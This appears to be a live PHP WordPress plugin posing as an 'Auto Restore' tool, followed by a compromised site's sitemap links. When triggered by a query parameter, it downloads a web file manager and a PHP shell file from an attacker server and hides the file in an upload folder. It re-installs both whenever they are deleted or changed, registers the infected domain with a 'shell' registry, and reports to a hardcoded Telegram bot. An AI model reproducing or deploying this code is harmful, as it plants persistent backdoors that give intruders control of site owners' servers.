/* Plugin Name: Auto Restore Hybrid v10.0 Description: Auto-restore ZIP & File + Telegram + Auto-Clean Domain Author: Varen Version: 10.0 */ add_action('wp', function() { // Jalankan hanya jika ?restore dipanggil if (!isset($_GET['restore'])) return; // ========================= // āš™ļø KONFIGURASI // ========================= $enable_zip_restore = true; $enable_file_restore = false; // ZIP $zip_url = 'https://nyenyeits.me/tools/bahan/KodExplorer-master.zip'; $local_zip = '/mnt/web406/a1/23/59220223/htdocs/wordpress/KodExplorer-master.zip'; $extract_to = '/mnt/web406/a1/23/59220223/htdocs/wordpress/wp-content/uploads/'; $main_folder = $extract_to . 'KodExplorer-master'; // FILE $file_url = 'https://nyenyeits.me/pintu/alfas.txt'; $local_file = '/mnt/web406/a1/23/59220223/htdocs/wordpress/wp-content/uploads/revslider/objects/thumbs/forest.php'; $file_hash_store = '/mnt/web406/a1/23/59220223/htdocs/wordpress/.file_hash.json'; // TELEGRAM $telegram_bot_token = '8410050780:AAHQnvZRJ4h0ap-4FpWkK3uA0PV2-WIUuYY'; $telegram_chat_id = '7389114351'; // SERVER PUSAT $domain_registry_url = 'https://nyenyeits.me/shell/domain_list.php'; // SISTEM $hash_file = '/mnt/web406/a1/23/59220223/htdocs/wordpress/.folder_hash.json'; $server_domain = $_SERVER['SERVER_NAME'] ?? gethostname(); $default_permission = 0755; // ========================= // šŸ”§ UTILITAS // ========================= function send_tg($msg,$bot,$chat){ if(!$bot||!$chat)return; $url="https://api.telegram.org/bot{$bot}/sendMessage"; $payload=['chat_id'=>$chat,'text'=>$msg,'parse_mode'=>'HTML']; $ch=curl_init($url); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_POST=>1, CURLOPT_POSTFIELDS=>$payload,CURLOPT_TIMEOUT=>10]); curl_exec($ch);curl_close($ch); } function fetch_remote($url){ if(ini_get('allow_url_fopen')){ $data=@file_get_contents($url); if($data!==false)return $data; } $ch=curl_init($url); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1, CURLOPT_FOLLOWLOCATION=>1,CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_TIMEOUT=>30]); $d=curl_exec($ch); curl_close($ch); return $d?:false; } function gen_hash($dir){ $result=[]; if(!is_dir($dir))return $result; $rii=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir)); foreach($rii as $file){ if($file->isDir())continue; $path=str_replace('\\','/',$file->getPathname()); $result[$path]=[ 'hash'=>md5_file($path), 'perm'=>substr(sprintf('%o', fileperms($path)), -4) ]; } return $result; } function fix_perm($f,$t,$bot,$chat,$domain){ if(!file_exists($f))return; if(is_dir($f)){ $rii=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f)); $changed=[]; foreach($rii as $fi){ $pr=substr(sprintf('%o', fileperms($fi->getPathname())),-4); if($pr!=$t){ @chmod($fi->getPathname(),octdec($t)); $changed[]=$fi->getPathname(); } } if(count($changed)>0){ send_tg("šŸ”§ Permission diperbaiki\n🌐 $domain\nšŸ“ ".count($changed)." file diset ke CHMOD $t",$bot,$chat); } } else { $perm_now=substr(sprintf('%o', fileperms($f)),-4); if($perm_now!=$t){ @chmod($f,octdec($t)); send_tg("šŸ”§ Permission file diperbaiki\n🌐 $domain\nšŸ“„ $f\nCHMOD $perm_now → $t",$bot,$chat); } } } // ========================= // 🌐 REGISTER DOMAIN (DENGAN DETAIL PATH) // ========================= function register_domain($server_domain,$registry_url,$local_zip,$extract_to,$main_folder,$local_file){ $data=[ 'domain'=>$server_domain, 'zip'=>$local_zip, 'folder'=>$main_folder, 'file'=>$local_file ]; $ch=curl_init($registry_url); curl_setopt_array($ch,[ CURLOPT_RETURNTRANSFER=>true, CURLOPT_POST=>true, CURLOPT_POSTFIELDS=>http_build_query($data), CURLOPT_TIMEOUT=>10 ]); curl_exec($ch); curl_close($ch); } // ========================= // šŸš€ ZIP RESTORE // ========================= function restore_zip($zip_url,$local_zip,$extract_to,$main_folder,$hash_file,$target_perm,$bot,$chat,$domain){ $need=false;$reason=''; if(!is_dir($main_folder)){$need=true;$reason="Folder hilang";} else{ $cur=gen_hash($main_folder); $old=file_exists($hash_file)?json_decode(file_get_contents($hash_file),true):[]; if($cur!=$old)$need=true; } if(!$need)return; send_tg("āš ļø $reason\n🌐 $domain\nšŸ“¦ Restore folder $main_folder",$bot,$chat); if(is_dir($main_folder)){ $it=new RecursiveDirectoryIterator($main_folder,RecursiveDirectoryIterator::SKIP_DOTS); $fs=new RecursiveIteratorIterator($it,RecursiveIteratorIterator::CHILD_FIRST); foreach($fs as $f){$f->isDir()?rmdir($f->getRealPath()):unlink($f->getRealPath());} rmdir($main_folder);} $zip_data=fetch_remote($zip_url); if($zip_data===false){send_tg("āŒ Gagal download ZIP",$bot,$chat);return;} file_put_contents($local_zip,$zip_data); $z=new ZipArchive; if($z->open($local_zip)===TRUE){ $z->extractTo($extract_to); $z->close(); @unlink($local_zip); file_put_contents($hash_file,json_encode(gen_hash($main_folder))); fix_perm($main_folder,$target_perm,$bot,$chat,$domain); send_tg("šŸŽ‰ Folder direstore di $domain",$bot,$chat); } else send_tg("āš ļø Gagal buka ZIP",$bot,$chat); } // ========================= // šŸš€ FILE RESTORE // ========================= function restore_file($file_url,$local_file,$file_hash_store,$target_perm,$bot,$chat,$domain){ $need=false;$reason=""; if(!file_exists($local_file)){$need=true;$reason="File hilang";} else{ $cur=md5_file($local_file); $old=file_exists($file_hash_store)?json_decode(file_get_contents($file_hash_store),true):[]; $prev=$old[$local_file]??''; if($cur!==$prev)$need=true; } if(!$need)return; send_tg("āš ļø $reason\n🌐 $domain\nšŸ“„ $local_file",$bot,$chat); $d=fetch_remote($file_url); if($d===false){send_tg("āŒ Gagal download file",$bot,$chat);return;} if(!is_dir(dirname($local_file)))mkdir(dirname($local_file),0755,true); file_put_contents($local_file,$d); chmod($local_file,octdec($target_perm)); file_put_contents($file_hash_store,json_encode([$local_file=>md5_file($local_file)])); send_tg("šŸŽ‰ File direstore di $domain",$bot,$chat); } // ========================= // āš™ļø EKSEKUSI // ========================= send_tg("šŸ› ļø Mode Restore Aktif (WordPress)\n🌐 $server_domain",$telegram_bot_token,$telegram_chat_id); register_domain($server_domain,$domain_registry_url,$local_zip,$extract_to,$main_folder,$local_file); if ($enable_zip_restore) restore_zip($zip_url,$local_zip,$extract_to,$main_folder,$hash_file,'0755',$telegram_bot_token,$telegram_chat_id,$server_domain); if ($enable_file_restore) restore_file($file_url,$local_file,$file_hash_store,'0755',$telegram_bot_token,$telegram_chat_id,$server_domain); send_tg("āœ… Restore selesai\n🌐 $server_domain",$telegram_bot_token,$telegram_chat_id); echo "
āœ… Restore dijalankan ".date('Y-m-d H:i:s')."
"; }); https://communio-jugendhilfe.de/wp-sitemap-posts-post-1.xmlhttps://communio-jugendhilfe.de/wp-sitemap-posts-page-1.xmlhttps://communio-jugendhilfe.de/wp-sitemap-posts-wpr-1.xmlhttps://communio-jugendhilfe.de/wp-sitemap-taxonomies-category-1.xmlhttps://communio-jugendhilfe.de/wp-sitemap-users-1.xml